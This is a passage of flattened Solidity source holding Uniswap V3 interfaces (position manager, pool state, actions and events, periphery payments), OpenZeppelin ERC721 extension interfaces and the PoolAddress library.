/// @param amount The number of tokens to send from the sender to the recipient
/// @return Returns true for a successful transfer, false for an unsuccessful transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/// @notice Returns the current allowance given to a spender by an owner
/// @param owner The account of the token owner
/// @param spender The account of the token spender
/// @return The current allowance granted by `owner` to `spender`
function allowance(address owner, address spender) external view returns (uint256);
/// @notice Sets the allowance of a spender from the `msg.sender` to the value `amount`
/// @param spender The account which will be allowed to spend a given amount of the owners tokens
/// @param amount The amount of tokens allowed to be used by `spender`
/// @return Returns true for a successful approval, false for unsuccessful
function approve(address spender, uint256 amount) external returns (bool);
/// @notice Transfers `amount` tokens from `sender` to `recipient` up to the allowance given to the `msg.sender`
/// @param sender The account from which the transfer will be initiated
/// @param recipient The recipient of the transfer
/// @param amount The amount of the transfer
/// @return Returns true for a successful transfer, false for unsuccessful
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/// @notice Event emitted when tokens are transferred from one address to another, either via `#transfer` or `#transferFrom`.
/// @param from The account from which the tokens were sent, i.e. the balance decreased
/// @param to The account to which the tokens were sent, i.e. the balance increased
/// @param value The amount of tokens that were transferred
event Transfer(address indexed from, address indexed to, uint256 value);
/// @notice Event emitted when the approval amount for the spender of a given owner's tokens changes.
/// @param owner The account that approved spending of its tokens
/// @param spender The account for which the spending allowance was modified
/// @param value The new allowance from the owner to the spender
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
import '@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol';
import './IPoolInitializer.sol';
import './IERC721Permit.sol';
import './IPeripheryPayments.sol';
import './IPeripheryImmutableState.sol';
import '../libraries/PoolAddress.sol';
/// @title Non-fungible token for positions
/// @notice Wraps Uniswap V3 positions in a non-fungible token interface which allows for them to be transferred
/// and authorized.
interface INonfungiblePositionManager is
IPoolInitializer,
IPeripheryPayments,
IPeripheryImmutableState,
IERC721Metadata,
IERC721Enumerable,
IERC721Permit
{
/// @notice Emitted when liquidity is increased for a position NFT
/// @dev Also emitted when a token is minted
/// @param tokenId The ID of the token for which liquidity was increased
/// @param liquidity The amount by which liquidity for the NFT position was increased
/// @param amount0 The amount of token0 that was paid for the increase in liquidity
/// @param amount1 The amount of token1 that was paid for the increase in liquidity
event IncreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
/// @notice Emitted when liquidity is decreased for a position NFT
/// @param tokenId The ID of the token for which liquidity was decreased
/// @param liquidity The amount by which liquidity for the NFT position was decreased
/// @param amount0 The amount of token0 that was accounted for the decrease in liquidity
/// @param amount1 The amount of token1 that was accounted for the decrease in liquidity
event DecreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
/// @notice Emitted when tokens are collected for a position NFT
/// @dev The amounts reported may not be exactly equivalent to the amounts transferred, due to rounding behavior
/// @param tokenId The ID of the token for which underlying tokens were collected
/// @param recipient The address of the account that received the collected tokens
/// @param amount0 The amount of token0 owed to the position that was collected
/// @param amount1 The amount of token1 owed to the position that was collected
event Collect(uint256 indexed tokenId, address recipient, uint256 amount0, uint256 amount1);
/// @notice Returns the position information associated with a given token ID.
/// @dev Throws if the token ID is not valid.
/// @param tokenId The ID of the token that represents the position
/// @return nonce The nonce for permits
/// @return operator The address that is approved for spending
/// @return token0 The address of the token0 for a specific pool
/// @return token1 The address of the token1 for a specific pool
/// @return fee The fee associated with the pool
/// @return tickLower The lower end of the tick range for the position
/// @return tickUpper The higher end of the tick range for the position
/// @return liquidity The liquidity of the position
/// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position
/// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position
/// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation
/// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation
function positions(uint256 tokenId)
external
view
returns (
uint96 nonce,
address operator,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
/// @notice Creates a new position wrapped in a NFT
/// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized
/// a method does not exist, i.e. the pool is assumed to be initialized.
/// @param params The params necessary to mint a position, encoded as `MintParams` in calldata
/// @return tokenId The ID of the token that represents the minted position
/// @return liquidity The amount of liquidity for this position
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function mint(MintParams calldata params)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct IncreaseLiquidityParams {
uint256 tokenId;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Increases the amount of liquidity in a position, with tokens paid by the `msg.sender`
/// @param params tokenId The ID of the token for which liquidity is being increased,
/// amount0Desired The desired amount of token0 to be spent,
/// amount1Desired The desired amount of token1 to be spent,
/// amount0Min The minimum amount of token0 to spend, which serves as a slippage check,
/// amount1Min The minimum amount of token1 to spend, which serves as a slippage check,
/// deadline The time by which the transaction must be included to effect the change
/// @return liquidity The new liquidity amount as a result of the increase
/// @return amount0 The amount of token0 to acheive resulting liquidity
/// @return amount1 The amount of token1 to acheive resulting liquidity
function increaseLiquidity(IncreaseLiquidityParams calldata params)
external
payable
returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct DecreaseLiquidityParams {
uint256 tokenId;
uint128 liquidity;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Decreases the amount of liquidity in a position and accounts it to the position
/// @param params tokenId The ID of the token for which liquidity is being decreased,
/// amount The amount by which liquidity will be decreased,
/// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity,
/// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity,
/// deadline The time by which the transaction must be included to effect the change
/// @return amount0 The amount of token0 accounted to the position's tokens owed
/// @return amount1 The amount of token1 accounted to the position's tokens owed
function decreaseLiquidity(DecreaseLiquidityParams calldata params)
external
payable
returns (uint256 amount0, uint256 amount1);
struct CollectParams {
uint256 tokenId;
address recipient;
uint128 amount0Max;
uint128 amount1Max;
}
/// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient
/// @param params tokenId The ID of the NFT for which tokens are being collected,
/// recipient The account that should receive the tokens,
/// amount0Max The maximum amount of token0 to collect,
/// amount1Max The maximum amount of token1 to collect
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1);
/// @notice Burns a token ID, which deletes it from the NFT contract. The token must have 0 liquidity and all tokens
/// must be collected first.
/// @param tokenId The ID of the token that is being burned
function burn(uint256 tokenId) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
/// @title Multicall interface
/// @notice Enables calling multiple methods in a single call to the contract
interface IMulticall {
/// @notice Call multiple functions in the current contract and return the data from all of them if they all succeed
/// @dev The `msg.value` should not be trusted for any method callable from multicall.
/// @param data The encoded function data for each of the calls to make to this contract
/// @return results The results from each of the calls passed in via data
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
/// @title Creates and initializes V3 Pools
/// @notice Provides a method for creating and initializing a pool, if necessary, for bundling with other methods that
/// require the pool to exist.
interface IPoolInitializer {
/// @notice Creates a new pool if it does not exist, then initializes if not initialized
/// @dev This method can be bundled with others via IMulticall for the first action (e.g. mint) performed against a pool
/// @param token0 The contract address of token0 of the pool
/// @param token1 The contract address of token1 of the pool
/// @param fee The fee amount of the v3 pool for the specified token pair
/// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value
/// @return pool Returns the pool address based on the pair of tokens and fee, will return the newly created pool address if necessary
function createAndInitializePoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96
) external payable returns (address pool);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
/// @title ERC721 with permit
/// @notice Extension to ERC721 that includes a permit function for signature based approvals
interface IERC721Permit is IERC721 {
/// @notice The permit typehash used in the permit signature
/// @return The typehash for the permit
function PERMIT_TYPEHASH() external pure returns (bytes32);
/// @notice The domain separator used in the permit signature
/// @return The domain seperator used in encoding of permit signature
function DOMAIN_SEPARATOR() external view returns (bytes32);
/// @notice Approve of a specific token ID for spending by spender via signature
/// @param spender The account that is being approved
/// @param tokenId The ID of the token that is being approved for spending
/// @param deadline The deadline timestamp by which the call must be mined for the approve to work
/// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`
/// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`
/// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`
function permit(
address spender,
uint256 tokenId,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
/// @title Periphery Payments
/// @notice Functions to ease deposits and withdrawals of ETH
interface IPeripheryPayments {
/// @notice Unwraps the contract's WETH9 balance and sends it to recipient as ETH.
/// @dev The amountMinimum parameter prevents malicious contracts from stealing WETH9 from users.
/// @param amountMinimum The minimum amount of WETH9 to unwrap
/// @param recipient The address receiving ETH
function unwrapWETH9(uint256 amountMinimum, address recipient) external payable;
/// @notice Refunds any ETH balance held by this contract to the `msg.sender`
/// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps
/// that use ether for the input amount
function refundETH() external payable;
/// @notice Transfers the full amount of a token held by this contract to recipient
/// @dev The amountMinimum parameter prevents malicious contracts from stealing the token from users
/// @param token The contract address of the token which will be transferred to `recipient`
/// @param amountMinimum The minimum amount of token required for a transfer
/// @param recipient The destination address of the token
function sweepToken(
address token,
uint256 amountMinimum,
address recipient
) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Immutable state
/// @notice Functions that return immutable state of the router
interface IPeripheryImmutableState {
/// @return Returns the address of the Uniswap V3 factory
function factory() external view returns (address);
/// @return Returns the address of WETH9
function WETH9() external view returns (address);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;
/// @notice The identifying key of the pool
struct PoolKey {
address token0;
address token1;
uint24 fee;
}
/// @notice Returns PoolKey: the ordered tokens with the matched fee levels
/// @param tokenA The first token of a pool, unsorted
/// @param tokenB The second token of a pool, unsorted
/// @param fee The fee level of the pool
/// @return Poolkey The pool details with ordered token0 and token1 assignments
function getPoolKey(
address tokenA,
address tokenB,
uint24 fee
) internal pure returns (PoolKey memory) {
if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
}
/// @notice Deterministically computes the pool address given the factory and PoolKey
/// @param factory The Uniswap V3 factory contract address
/// @param key The PoolKey
/// @return pool The contract address of the V3 pool
function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
require(key.token0 < key.token1);
pool = address(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encode(key.token0, key.token1, key.fee)),
POOL_INIT_CODE_HASH
)
)
)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
